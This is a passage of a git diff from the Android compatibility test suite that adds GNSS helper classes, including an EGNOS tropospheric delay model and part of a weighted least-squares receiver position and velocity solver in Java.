+ ((userPosAndVel.velocityXMetersPerSec - satPosAndVel.velocityXMetersPerSec) * dXMeters
+ + (userPosAndVel.velocityYMetersPerSec - satPosAndVel.velocityYMetersPerSec) * dYMeters
+ + (userPosAndVel.velocityZMetersPerSec - satPosAndVel.velocityZMetersPerSec) * dZMeters)
+ / rangeMeters;
+ rangeAndRangeRate.rangeMeters = rangeMeters;
+ rangeAndRangeRate.rangeRateMetersPerSec = rangeRateMetersPerSec;
+ }
+
+ /**
+ *
+ * A class containing position values (x, y, z) in meters and velocity values (x, y, z) in meters
+ * per seconds
+ */
+ public static class PositionAndVelocity {
+ /* x - position in meters */
+ public double positionXMeters;
+ /* y - position in meters */
+ public double positionYMeters;
+ /* z - position in meters */
+ public double positionZMeters;
+ /* x - velocity in meters */
+ public double velocityXMetersPerSec;
+ /* y - velocity in meters */
+ public double velocityYMetersPerSec;
+ /* z - velocity in meters */
+ public double velocityZMetersPerSec;
+
+ /* Constructor */
+ public PositionAndVelocity(double positionXMeters,
+ double positionYMeters,
+ double positionZMeters,
+ double velocityXMetersPerSec,
+ double velocityYMetersPerSec,
+ double velocityZMetersPerSec) {
+ this.positionXMeters = positionXMeters;
+ this.positionYMeters = positionYMeters;
+ this.positionZMeters = positionZMeters;
+ this.velocityXMetersPerSec = velocityXMetersPerSec;
+ this.velocityYMetersPerSec = velocityYMetersPerSec;
+ this.velocityZMetersPerSec = velocityZMetersPerSec;
+ }
+ }
+
+ /* A class containing range of satellite to user in meters and range rate in meters per seconds */
+ public static class RangeAndRangeRate {
+ /* Range in meters */
+ public double rangeMeters;
+ /* Range rate in meters per seconds */
+ public double rangeRateMetersPerSec;
+
+ /* Constructor */
+ public RangeAndRangeRate(double rangeMeters, double rangeRateMetersPerSec) {
+ this.rangeMeters = rangeMeters;
+ this.rangeRateMetersPerSec = rangeRateMetersPerSec;
+ }
+ }
+}
\ No newline at end of file
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/TroposphericModelEgnos.java b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/TroposphericModelEgnos.java
new file mode 100644
index 0000000..05b2a88
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/TroposphericModelEgnos.java
@@ -0,0 +1,324 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss.pseudorange;
+
+/**
+ * Calculate the troposheric delay based on the ENGOS Tropospheric model.
+ *
+ * <p>The tropospheric delay is modeled as a combined effect of the delay experienced due to
+ * hyrostatic (dry) and wet components of the troposphere. Both delays experienced at zenith are
+ * scaled with a mapping function to get the delay at any specific elevation.
+ *
+ * <p>The tropospheric model algorithm of EGNOS model by Penna, N., A. Dodson and W. Chen (2001)
+ * (http://espace.library.curtin.edu.au/cgi-bin/espace.pdf?file=/2008/11/13/file_1/18917) is used
+ * for calculating the zenith delays. In this model, the weather parameters are extracted using
+ * interpolation from lookup table derived from the US Standard Atmospheric Supplements, 1966.
+ *
+ * <p>A close form mapping function is built using Guo and Langley, 2003
+ * (http://gauss2.gge.unb.ca/papers.pdf/iongpsgnss2003.guo.pdf) which is able to calculate accurate
+ * mapping down to 2 degree elevations.
+ *
+ * <p>Sources:
+ * <p>http://espace.library.curtin.edu.au/cgi-bin/espace.pdf?file=/2008/11/13/file_1/18917
+ * <p>- http://www.academia.edu/3512180/Assessment_of_UNB3M_neutral
+ * _atmosphere_model_and_EGNOS_model_for_near-equatorial-tropospheric_delay_correction
+ * <p>- http://gauss.gge.unb.ca/papers.pdf/ion52am.collins.pdf
+ * <p>- http://www.navipedia.net/index.php/Tropospheric_Delay#cite_ref-3
+ * <p>Hydrostatic and non-hydrostatic mapping functions are obtained from:
+ * http://gauss2.gge.unb.ca/papers.pdf/iongpsgnss2003.guo.pdf
+ *
+ */
+public class TroposphericModelEgnos {
+ // parameters of the EGNOS models
+ private static final int INDEX_15_DEGREES = 0;
+ private static final int INDEX_75_DEGREES = 4;
+ private static final int LATITUDE_15_DEGREES = 15;
+ private static final int LATITUDE_75_DEGREES = 75;
+ // Lookup Average parameters
+ // Troposphere average presssure mbar
+ private static final double[] latDegreeToPressureMbarAvgMap =
+ {1013.25, 1017.25, 1015.75, 1011.75, 1013.0};
+ // Troposphere average temperature Kelvin
+ private static final double[] latDegreeToTempKelvinAvgMap =
+ {299.65, 294.15, 283.15, 272.15, 263.65};
+ // Troposphere average wator vapor pressure
+ private static final double[] latDegreeToWVPressureMbarAvgMap = {26.31, 21.79, 11.66, 6.78, 4.11};
+ // Troposphere average temperature lapse rate K/m
+ private static final double[] latDegreeToBetaAvgMapKPM =
+ {6.30e-3, 6.05e-3, 5.58e-3, 5.39e-3, 4.53e-3};
+ // Troposphere average water vapor lapse rate (dimensionless)
+ private static final double[] latDegreeToLampdaAvgMap = {2.77, 3.15, 2.57, 1.81, 1.55};
+
+ // Lookup Amplitude parameters
+ // Troposphere amplitude presssure mbar
+ private static final double[] latDegreeToPressureMbarAmpMap = {0.0, -3.75, -2.25, -1.75, -0.5};
+ // Troposphere amplitude temperature Kelvin
+ private static final double[] latDegreeToTempKelvinAmpMap = {0.0, 7.0, 11.0, 15.0, 14.5};
+ // Troposphere amplitude wator vapor pressure
+ private static final double[] latDegreeToWVPressureMbarAmpMap = {0.0, 8.85, 7.24, 5.36, 3.39};
+ // Troposphere amplitude temperature lapse rate K/m
+ private static final double[] latDegreeToBetaAmpMapKPM =
+ {0.0, 0.25e-3, 0.32e-3, 0.81e-3, 0.62e-3};
+ // Troposphere amplitude water vapor lapse rate (dimensionless)
+ private static final double[] latDegreeToLampdaAmpMap = {0.0, 0.33, 0.46, 0.74, 0.30};
+ // Zenith delay dry constant K/mbar
+ private static final double K1 = 77.604;
+ // Zenith delay wet constant K^2/mbar
+ private static final double K2 = 382000.0;
+ // gas constant for dry air J/kg/K
+ private static final double RD = 287.054;
+ // Acceleration of gravity at the atmospheric column centroid m/s^-2
+ private static final double GM = 9.784;
+ // Gravity m/s^2
+ private static final double GRAVITY_MPS2 = 9.80665;
+
+ private static final double MINIMUM_INTERPOLATION_THRESHOLD = 1e-25;
+ private static final double B_HYDROSTATIC = 0.0035716;
+ private static final double C_HYDROSTATIC = 0.082456;
+ private static final double B_NON_HYDROSTATIC = 0.0018576;
+ private static final double C_NON_HYDROSTATIC = 0.062741;
+ private static final double SOUTHERN_HEMISPHERE_DMIN = 211.0;
+ private static final double NORTHERN_HEMISPHERE_DMIN = 28.0;
+ // Days recalling that every fourth year is a leap year and has an extra day - February 29th
+ private static final double DAYS_PER_YEAR = 365.25;
+
+ /**
+ * Compute the tropospheric correction in meters given the satellite elevation in radians, the
+ * user latitude in radians, the user Orthometric height above sea level in meters and the day of
+ * the year.
+ *
+ * <p>Dry and wet delay zenith delay components are calculated and then scaled with the mapping
+ * function at the given satellite elevation.
+ *
+ */
+ public static double calculateTropoCorrectionMeters(double satElevationRadians,
+ double userLatitudeRadian, double heightMetersAboveSeaLevel, int dayOfYear1To366) {
+ DryAndWetMappingValues dryAndWetMappingValues =
+ computeDryAndWetMappingValuesUsingUNBabcMappingFunction(satElevationRadians,
+ userLatitudeRadian, heightMetersAboveSeaLevel);
+ DryAndWetZenithDelays dryAndWetZenithDelays = calculateZenithDryAndWetDelaysSec
+ (userLatitudeRadian, heightMetersAboveSeaLevel, dayOfYear1To366);
+
+ double drydelaySeconds =
+ dryAndWetZenithDelays.dryZenithDelaySec * dryAndWetMappingValues.dryMappingValue;
+ double wetdelaySeconds =
+ dryAndWetZenithDelays.wetZenithDelaySec * dryAndWetMappingValues.wetMappingValue;
+ return drydelaySeconds + wetdelaySeconds;
+ }
+
+ /**
+ * Compute the dry and wet mapping values based on the University of Brunswick UNBabc model. The
+ * mapping function inputs are satellite elevation in radians, user latitude in radians and user
+ * orthometric height above sea level in meters. The function returns
+ * {@code DryAndWetMappingValues} containing dry and wet mapping values.
+ *
+ * <p>From the many dry and wet mapping functions of components of the troposphere, the method
+ * from the University of Brunswick in Canada was selected due to its reasonable computation time
+ * and accuracy with satellites as low as 2 degrees elevation.
+ * <p>Source: http://gauss2.gge.unb.ca/papers.pdf/iongpsgnss2003.guo.pdf
+ */
+ private static DryAndWetMappingValues computeDryAndWetMappingValuesUsingUNBabcMappingFunction(
+ double satElevationRadians, double userLatitudeRadians, double heightMetersAboveSeaLevel) {
+
+ if (satElevationRadians > Math.PI / 2.0) {
+ satElevationRadians = Math.PI / 2.0;
+ } else if (satElevationRadians < 2.0 * Math.PI / 180.0) {
+ satElevationRadians = Math.toRadians(2.0);
+ }
+
+ // dry components mapping parameters
+ double aHidrostatic = (1.18972 - 0.026855 * heightMetersAboveSeaLevel / 1000.0 + 0.10664
+ * Math.cos(userLatitudeRadians)) / 1000.0;
+
+
+ double numeratorDry = 1.0 + (aHidrostatic / (1.0 + (B_HYDROSTATIC / (1.0 + C_HYDROSTATIC))));
+ double denominatorDry = Math.sin(satElevationRadians) + (aHidrostatic / (
+ Math.sin(satElevationRadians)
+ + (B_HYDROSTATIC / (Math.sin(satElevationRadians) + C_HYDROSTATIC))));
+
+ double drymap = numeratorDry / denominatorDry;
+
+ // wet components mapping parameters
+ double aNonHydrostatic = (0.61120 - 0.035348 * heightMetersAboveSeaLevel / 1000.0 - 0.01526
+ * Math.cos(userLatitudeRadians)) / 1000.0;
+
+
+ double numeratorWet =
+ 1.0 + (aNonHydrostatic / (1.0 + (B_NON_HYDROSTATIC / (1.0 + C_NON_HYDROSTATIC))));
+ double denominatorWet = Math.sin(satElevationRadians) + (aNonHydrostatic / (
+ Math.sin(satElevationRadians)
+ + (B_NON_HYDROSTATIC / (Math.sin(satElevationRadians) + C_NON_HYDROSTATIC))));
+
+ double wetmap = numeratorWet / denominatorWet;
+ return new DryAndWetMappingValues(drymap, wetmap);
+ }
+
+ /**
+ * Compute the combined effect of the delay at zenith experienced due to hyrostatic (dry) and wet
+ * components of the troposphere. The function inputs are the user latitude in radians, user
+ * orthometric height above sea level in meters and the day of the year (1-366). The function
+ * returns a {@code DryAndWetZenithDelays} containing dry and wet delays at zenith.
+ *
+ * <p>EGNOS Tropospheric model by Penna et al. (2001) is used in this case.
+ * (http://espace.library.curtin.edu.au/cgi-bin/espace.pdf?file=/2008/11/13/file_1/18917)
+ *
+ */
+ private static DryAndWetZenithDelays calculateZenithDryAndWetDelaysSec(double userLatitudeRadians,
+ double heightMetersAboveSeaLevel, int dayOfyear1To366) {
+ // interpolated meteorological values
+ double pressureMbar;
+ double tempKelvin;
+ double waterVaporPressureMbar;
+ // temperature lapse rate, [K/m]
+ double beta;
+ // water vapor lapse rate, dimensionless
+ double lambda;
+
+ double absLatitudeDeg = Math.toDegrees(Math.abs(userLatitudeRadians));
+ // day of year min constant
+ double dmin;
+ if (userLatitudeRadians < 0) {
+ dmin = SOUTHERN_HEMISPHERE_DMIN;
+ } else {
+ dmin = NORTHERN_HEMISPHERE_DMIN;
+
+ }
+ double amplitudeScalefactor = Math.cos((2 * Math.PI * (dayOfyear1To366 - dmin))
+ / DAYS_PER_YEAR);
+
+ if (absLatitudeDeg <= LATITUDE_15_DEGREES) {
+ pressureMbar = latDegreeToPressureMbarAvgMap[INDEX_15_DEGREES]
+ - latDegreeToPressureMbarAmpMap[INDEX_15_DEGREES] * amplitudeScalefactor;
+ tempKelvin = latDegreeToTempKelvinAvgMap[INDEX_15_DEGREES]
+ - latDegreeToTempKelvinAmpMap[INDEX_15_DEGREES] * amplitudeScalefactor;
+ waterVaporPressureMbar = latDegreeToWVPressureMbarAvgMap[INDEX_15_DEGREES]
+ - latDegreeToWVPressureMbarAmpMap[INDEX_15_DEGREES] * amplitudeScalefactor;
+ beta = latDegreeToBetaAvgMapKPM[INDEX_15_DEGREES] - latDegreeToBetaAmpMapKPM[INDEX_15_DEGREES]
+ * amplitudeScalefactor;
+ lambda = latDegreeToLampdaAmpMap[INDEX_15_DEGREES] - latDegreeToLampdaAmpMap[INDEX_15_DEGREES]
+ * amplitudeScalefactor;
+ } else if (absLatitudeDeg > LATITUDE_15_DEGREES && absLatitudeDeg < LATITUDE_75_DEGREES) {
+ int key = (int) (absLatitudeDeg / LATITUDE_15_DEGREES);
+
+ double averagePressureMbar = interpolate(key * LATITUDE_15_DEGREES,
+ latDegreeToPressureMbarAvgMap[key - 1], (key + 1) * LATITUDE_15_DEGREES,
+ latDegreeToPressureMbarAvgMap[key], absLatitudeDeg);
+ double amplitudePressureMbar = interpolate(key * LATITUDE_15_DEGREES,
+ latDegreeToPressureMbarAmpMap[key - 1], (key + 1) * LATITUDE_15_DEGREES,
+ latDegreeToPressureMbarAmpMap[key], absLatitudeDeg);
+ pressureMbar = averagePressureMbar - amplitudePressureMbar * amplitudeScalefactor;
+
+ double averageTempKelvin = interpolate(key * LATITUDE_15_DEGREES,
+ latDegreeToTempKelvinAvgMap[key - 1], (key + 1) * LATITUDE_15_DEGREES,
+ latDegreeToTempKelvinAvgMap[key], absLatitudeDeg);
+ double amplitudeTempKelvin = interpolate(key * LATITUDE_15_DEGREES,
+ latDegreeToTempKelvinAmpMap[key - 1], (key + 1) * LATITUDE_15_DEGREES,
+ latDegreeToTempKelvinAmpMap[key], absLatitudeDeg);
+ tempKelvin = averageTempKelvin - amplitudeTempKelvin * amplitudeScalefactor;
+
+ double averageWaterVaporPressureMbar = interpolate(key * LATITUDE_15_DEGREES,
+ latDegreeToWVPressureMbarAvgMap[key - 1], (key + 1) * LATITUDE_15_DEGREES,
+ latDegreeToWVPressureMbarAvgMap[key], absLatitudeDeg);
+ double amplitudeWaterVaporPressureMbar = interpolate(key * LATITUDE_15_DEGREES,
+ latDegreeToWVPressureMbarAmpMap[key - 1], (key + 1) * LATITUDE_15_DEGREES,
+ latDegreeToWVPressureMbarAmpMap[key], absLatitudeDeg);
+ waterVaporPressureMbar =
+ averageWaterVaporPressureMbar - amplitudeWaterVaporPressureMbar * amplitudeScalefactor;
+
+ double averageBeta = interpolate(key * LATITUDE_15_DEGREES, latDegreeToBetaAvgMapKPM[key - 1],
+ (key + 1) * LATITUDE_15_DEGREES, latDegreeToBetaAvgMapKPM[key], absLatitudeDeg);
+ double amplitudeBeta = interpolate(key * LATITUDE_15_DEGREES,
+ latDegreeToBetaAmpMapKPM[key - 1], (key + 1) * LATITUDE_15_DEGREES,
+ latDegreeToBetaAmpMapKPM[key], absLatitudeDeg);
+ beta = averageBeta - amplitudeBeta * amplitudeScalefactor;
+
+ double averageLambda = interpolate(key * LATITUDE_15_DEGREES,
+ latDegreeToLampdaAvgMap[key - 1], (key + 1) * LATITUDE_15_DEGREES,
+ latDegreeToLampdaAvgMap[key], absLatitudeDeg);
+ double amplitudeLambda = interpolate(key * LATITUDE_15_DEGREES,
+ latDegreeToLampdaAmpMap[key - 1], (key + 1) * LATITUDE_15_DEGREES,
+ latDegreeToLampdaAmpMap[key], absLatitudeDeg);
+ lambda = averageLambda - amplitudeLambda * amplitudeScalefactor;
+ } else {
+ pressureMbar = latDegreeToPressureMbarAvgMap[INDEX_75_DEGREES]
+ - latDegreeToPressureMbarAmpMap[INDEX_75_DEGREES] * amplitudeScalefactor;
+ tempKelvin = latDegreeToTempKelvinAvgMap[INDEX_75_DEGREES]
+ - latDegreeToTempKelvinAmpMap[INDEX_75_DEGREES] * amplitudeScalefactor;
+ waterVaporPressureMbar = latDegreeToWVPressureMbarAvgMap[INDEX_75_DEGREES]
+ - latDegreeToWVPressureMbarAmpMap[INDEX_75_DEGREES] * amplitudeScalefactor;
+ beta = latDegreeToBetaAvgMapKPM[INDEX_75_DEGREES] - latDegreeToBetaAmpMapKPM[INDEX_75_DEGREES]
+ * amplitudeScalefactor;
+ lambda = latDegreeToLampdaAmpMap[INDEX_75_DEGREES] - latDegreeToLampdaAmpMap[INDEX_75_DEGREES]
+ * amplitudeScalefactor;
+ }
+
+ double zenithDryDelayAtSeaLevelSeconds = (1.0e-6 * K1 * RD * pressureMbar) / GM;
+ double zenithWetDelayAtSeaLevelSeconds = (((1.0e-6 * K2 * RD)
+ / (GM * (lambda + 1.0) - beta * RD)) * (waterVaporPressureMbar / tempKelvin));
+ double commonBase = 1.0 - ((beta * heightMetersAboveSeaLevel) / tempKelvin);
+
+ double powerDry = (GRAVITY_MPS2 / (RD * beta));
+ double powerWet = (((lambda + 1.0) * GRAVITY_MPS2) / (RD * beta)) - 1.0;
+ double zenithDryDelaySeconds = zenithDryDelayAtSeaLevelSeconds * Math.pow(commonBase, powerDry);
+ double zenithWetDelaySeconds = zenithWetDelayAtSeaLevelSeconds * Math.pow(commonBase, powerWet);
+ return new DryAndWetZenithDelays(zenithDryDelaySeconds, zenithWetDelaySeconds);
+ }
+
+ /**
+ * Interpolate linearly given two points (point1X, point1Y) and (point2X, point2Y). Given the
+ * desired value of x (xInterpolated), an interpolated value of y shall be computed and returned.
+ */
+ private static double interpolate(double point1X, double point1Y, double point2X, double point2Y,
+ double xOutput) {
+ // Check that xOutput is between the two interpolation points.
+ if ((point1X < point2X && (xOutput < point1X || xOutput > point2X))
+ || (point2X < point1X && (xOutput < point2X || xOutput > point1X))) {
+ throw new IllegalArgumentException("Interpolated value is outside the interpolated region");
+ }
+ double deltaX = point2X - point1X;
+ double yOutput;
+
+ if (Math.abs(deltaX) > MINIMUM_INTERPOLATION_THRESHOLD) {
+ yOutput = point1Y + (xOutput - point1X) / deltaX * (point2Y - point1Y);
+ } else {
+ yOutput = point1Y;
+ }
+ return yOutput;
+ }
+
+ /* A class containing dry and wet mapping values */
+ private static class DryAndWetMappingValues {
+ public double dryMappingValue;
+ public double wetMappingValue;
+
+ public DryAndWetMappingValues(double dryMappingValue, double wetMappingValue) {
+ this.dryMappingValue = dryMappingValue;
+ this.wetMappingValue = wetMappingValue;
+ }
+ }
+
+ /* A class containing dry and wet delays in seconds experienced at zenith */
+ private static class DryAndWetZenithDelays {
+ public double dryZenithDelaySec;
+ public double wetZenithDelaySec;
+
+ public DryAndWetZenithDelays(double dryZenithDelay, double wetZenithDelay) {
+ this.dryZenithDelaySec = dryZenithDelay;
+ this.wetZenithDelaySec = wetZenithDelay;
+ }
+ }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/UserPositionVelocityWeightedLeastSquare.java b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/UserPositionVelocityWeightedLeastSquare.java
new file mode 100644
index 0000000..c3af4ba
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/UserPositionVelocityWeightedLeastSquare.java
@@ -0,0 +1,910 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss.pseudorange;
+
+import static java.nio.charset.StandardCharsets.UTF_8;
+
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.Preconditions;
+import com.google.common.collect.Lists;
+import android.location.cts.gnss.pseudorange.Ecef2LlaConverter.GeodeticLlaValues;
+import android.location.cts.gnss.pseudorange.EcefToTopocentricConverter.TopocentricAEDValues;
+import android.location.cts.gnss.pseudorange.SatellitePositionCalculator.PositionAndVelocity;
+import android.location.cts.gnss.nano.Ephemeris.GpsEphemerisProto;
+import android.location.cts.gnss.nano.Ephemeris.GpsNavMessageProto;
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.net.URI;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import org.apache.commons.math.linear.Array2DRowRealMatrix;
+import org.apache.commons.math.linear.LUDecompositionImpl;
+import org.apache.commons.math.linear.QRDecompositionImpl;
+import org.apache.commons.math.linear.RealMatrix;
+
+/**
+ * Computes an iterative least square receiver position solution given the pseudorange (meters) and
+ * accumulated delta range (meters) measurements, receiver time of week, week number and the
+ * navigation message.
+ */
+class UserPositionVelocityWeightedLeastSquare {
+ private static final double SPEED_OF_LIGHT_MPS = 299792458.0;
+ private static final int SECONDS_IN_WEEK = 604800;
+ private static final double LEAST_SQUARE_TOLERANCE_METERS = 4.0e-8;
+ /** Position correction threshold below which atmospheric correction will be applied */
+ private static final double ATMPOSPHERIC_CORRECTIONS_THRESHOLD_METERS = 1000.0;
+ private static final int MINIMUM_NUMER_OF_SATELLITES = 4;
+ private static final double RESIDUAL_TO_REPEAT_LEAST_SQUARE_METERS = 20.0;
+
+ private static final int MAXIMUM_NUMBER_OF_LEAST_SQUARE_ITERATIONS = 100;
+ /** Maximum possible number of GPS satellites */
+ private static final int MAX_NUMBER_OF_SATELLITES = 32;
+ /** GPS C/A code chip width Tc = 1 microseconds */
+ private static final double GPS_CHIP_WIDTH_T_C_SEC = 1.0e-6;
+ /** Narrow correlator with spacing d = 0.1 chip */
+ private static final double GPS_CORRELATOR_SPACING_IN_CHIPS = 0.1;
+ /** Average time of DLL correlator T of 20 milliseconds */
+ private static final double GPS_DLL_AVERAGING_TIME_SEC = 20.0e-3;
+ /** Average signal travel time from GPS satellite and earth */
+ private static final double AVERAGE_TRAVEL_TIME_SECONDS = 70.0e-3;
+ private static final double SECONDS_PER_NANO = 1.0e-9;
+ private static final double DOUBLE_ROUND_OFF_TOLERANCE = 0.0000000001;
+ private PseudorangeSmoother pseudorangeSmoother = null;
+ private double geoidHeightMeters;
+ private boolean calculateGeoidMeters = true;
+ private RealMatrix geometryMatrix;
+
+ /** Default Constructor */
+ public UserPositionVelocityWeightedLeastSquare() {
+ }
+
+ /*
+ * Constructor with a smoother. One can implement their own smoothing algorithm for smoothing
+ * the pseudorange, by passing a class which implements {@link PseudorangeSmoother} interface.
+ */
+ public UserPositionVelocityWeightedLeastSquare(PseudorangeSmoother pseudorangeSmoother) {
+ this.pseudorangeSmoother = pseudorangeSmoother;
+ }
+
+ /**
+ * Least square solution to calculate the user position given the navigation message, pseudorange
+ * and accumulated delta range measurements. Also calculates user velocity non-iteratively from
+ * Least square position solution.
+ *
+ * <p>The method fills the user position and velocity in ECEF coordinates and receiver clock
+ * offset in meters and clock offset rate in meters per second.
+ *
+ * <p>One can implement their own smoothing algorithm for smoothing the pseudorange, by passing
+ * a class which implements pseudorangeSmoother interface.
+ *
+ * <p>Source for least squares:
+ * <ul>
+ * <li>http://www.u-blox.com/images/downloads/Product_Docs/GPS_Compendium%28GPS-X-02007%29.pdf
+ * page 81 - 85
+ * <li>Parkinson, B.W., Spilker Jr., J.J.: ‘Global positioning system: theory and applications’
+ * page 412 - 414
+ * </ul>
+ *
+ * @param navMessageProto parameters of the navigation message
+ * @param usefulSatellitesToReceiverMeasurements Map of useful satellite PRN to
+ * {@link GpsMeasurementWithRangeAndUncertainty} containing receiver measurements for
+ * computing the position solution.
+ * @param receiverGPSTowAtReceptionSeconds Receiver estimate of GPS time of week (seconds)
+ * @param receiverGPSWeek Receiver estimate of GPS week (0-1024+)
+ * @param dayOfYear1To366 The day of the year between 1 and 366
+ * @param positionVelocitySolutionECEF Solution array of the following format:
+ * [0-2] xyz solution of user.
+ * [3] clock bias of user.
+ * [4-6] velocity of user.
+ * [7] clock bias rate of user.
+ * @param positionVelocityUncertaintyEnu Uncertainty of calculated position and velocity solution
+ * in meters and mps local ENU system. Array has the following format:
+ * [0-2] Enu uncertainty of position solution in meters
+ * [3-5] Enu uncertainty of velocity solution in meters per second.
+ *
+ */
+ public void calculateUserPositionVelocityLeastSquare(
+ GpsNavMessageProto navMessageProto,
+ List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToReceiverMeasurements,
+ double receiverGPSTowAtReceptionSeconds,
+ int receiverGPSWeek,
+ int dayOfYear1To366,
+ double[] positionVelocitySolutionECEF,
+ double[] positionVelocityUncertaintyEnu)
+ throws Exception {
+
+ double[] deltaPositionMeters;
+ // make a copy of usefulSatellitesToReceiverMeasurements, to keep the original list the same
+ List<GpsMeasurementWithRangeAndUncertainty> satellitesToReceiverMeasurements =
+ new ArrayList<GpsMeasurementWithRangeAndUncertainty>(usefulSatellitesToReceiverMeasurements);
+ if (pseudorangeSmoother != null) {
+ satellitesToReceiverMeasurements =
+ pseudorangeSmoother.updatePseudorangeSmoothingResult(satellitesToReceiverMeasurements);
+ }
+ int numberOfUsefulSatellites =
+ getNumberOfusefulSatellites(satellitesToReceiverMeasurements);
+ // Least square position solution is supported only if 4 or more satellites visible
+ Preconditions.checkArgument(numberOfUsefulSatellites >= MINIMUM_NUMER_OF_SATELLITES,
+ "At least 4 satellites have to be visible... Only 3D mode is supported...");
+ boolean repeatLeastSquare = false;
+ SatellitesPositionPseudorangesResidualAndCovarianceMatrix satPosPseudorangeResidualAndWeight;
+ do {
+ // Calculate satellites' positions, measurement residual per visible satellite and weight
+ // matrix for the iterative least square
+ boolean doAtmosphericCorrections = false;
+ satPosPseudorangeResidualAndWeight =
+ calculateSatPosAndPseudorangeResidual(
+ navMessageProto,
+ satellitesToReceiverMeasurements,
+ receiverGPSTowAtReceptionSeconds,
+ receiverGPSWeek,
+ dayOfYear1To366,
+ positionVelocitySolutionECEF,
+ doAtmosphericCorrections);
+
+ // Calcualte the geometry matrix according to "Global Positioning System: Theory and
+ // Applications", Parkinson and Spilker page 413
+ RealMatrix covarianceMatrixM2 =
+ new Array2DRowRealMatrix(satPosPseudorangeResidualAndWeight.covarianceMatrixMetersSquare);
+ geometryMatrix = new Array2DRowRealMatrix(calculateGeometryMatrix(
+ satPosPseudorangeResidualAndWeight.satellitesPositionsMeters,
+ positionVelocitySolutionECEF));
+ RealMatrix weightedGeometryMatrix;
+ RealMatrix weightMatrixMetersMinus2 = null;
+ // Apply weighted least square only if the covariance matrix is not singular (has a non-zero
+ // determinant), otherwise apply ordinary least square. The reason is to ignore reported
+ // signal to noise ratios by the receiver that can lead to such singularities
+ LUDecompositionImpl ludCovMatrixM2 = new LUDecompositionImpl(covarianceMatrixM2);
+ double det = ludCovMatrixM2.getDeterminant();
+
+ if (det <= DOUBLE_ROUND_OFF_TOLERANCE) {
+ // Do not weight the geometry matrix if covariance matrix is singular.
+ weightedGeometryMatrix = geometryMatrix;
+ } else {
+ weightMatrixMetersMinus2 = ludCovMatrixM2.getSolver().getInverse();
+ RealMatrix hMatrix =
+ calculateHMatrix(weightMatrixMetersMinus2, geometryMatrix);
+ weightedGeometryMatrix = hMatrix.multiply(geometryMatrix.transpose())
+ .multiply(weightMatrixMetersMinus2);
+ }
+
+ // Equation 9 page 413 from "Global Positioning System: Theory and Applicaitons", Parkinson
+ // and Spilker
+ deltaPositionMeters =
+ GpsMathOperations.matrixByColVectMultiplication(weightedGeometryMatrix.getData(),
+ satPosPseudorangeResidualAndWeight.pseudorangeResidualsMeters);
+
+ // Apply corrections to the position estimate
+ positionVelocitySolutionECEF[0] += deltaPositionMeters[0];
+ positionVelocitySolutionECEF[1] += deltaPositionMeters[1];
+ positionVelocitySolutionECEF[2] += deltaPositionMeters[2];
+ positionVelocitySolutionECEF[3] += deltaPositionMeters[3];
+ // Iterate applying corrections to the position solution until correction is below threshold
+ satPosPseudorangeResidualAndWeight =
+ applyWeightedLeastSquare(
+ navMessageProto,
+ satellitesToReceiverMeasurements,
+ receiverGPSTowAtReceptionSeconds,
+ receiverGPSWeek,
+ dayOfYear1To366,
+ positionVelocitySolutionECEF,
+ deltaPositionMeters,
+ doAtmosphericCorrections,
+ satPosPseudorangeResidualAndWeight,
+ weightMatrixMetersMinus2);
+ repeatLeastSquare = false;
+ int satsWithResidualBelowThreshold =
+ satPosPseudorangeResidualAndWeight.pseudorangeResidualsMeters.length;
+ // remove satellites that have residuals above RESIDUAL_TO_REPEAT_LEAST_SQUARE_METERS as they
+ // worsen the position solution accuracy. If any satellite is removed, repeat the least square
+ repeatLeastSquare =
+ removeHighResidualSats(
+ satellitesToReceiverMeasurements,
+ repeatLeastSquare,
+ satPosPseudorangeResidualAndWeight,
+ satsWithResidualBelowThreshold);
+
+ } while (repeatLeastSquare);
+ calculateGeoidMeters = false;
+
+ // The computed ECEF position will be used next to compute the user velocity.
+ // we calculate and fill in the user velocity solutions based on following equation:
+ // Weight Matrix * GeometryMatrix * User Velocity Vector
+ // = Weight Matrix * deltaPseudoRangeRateWeightedMps
+ // Reference: Pratap Misra and Per Enge
+ // "Global Positioning System: Signals, Measurements, and Performance" Page 218.
+
+ // Gets the number of satellite used in Geometry Matrix
+ numberOfUsefulSatellites = geometryMatrix.getRowDimension();
+
+ RealMatrix rangeRateMps = new Array2DRowRealMatrix(numberOfUsefulSatellites, 1);
+ RealMatrix deltaPseudoRangeRateMps =
+ new Array2DRowRealMatrix(numberOfUsefulSatellites, 1);
+ RealMatrix pseudorangeRateWeight
+ = new Array2DRowRealMatrix(numberOfUsefulSatellites, numberOfUsefulSatellites);
+
+ // Correct the receiver time of week with the estimated receiver clock bias
+ receiverGPSTowAtReceptionSeconds =
+ receiverGPSTowAtReceptionSeconds - positionVelocitySolutionECEF[3] / SPEED_OF_LIGHT_MPS;
+
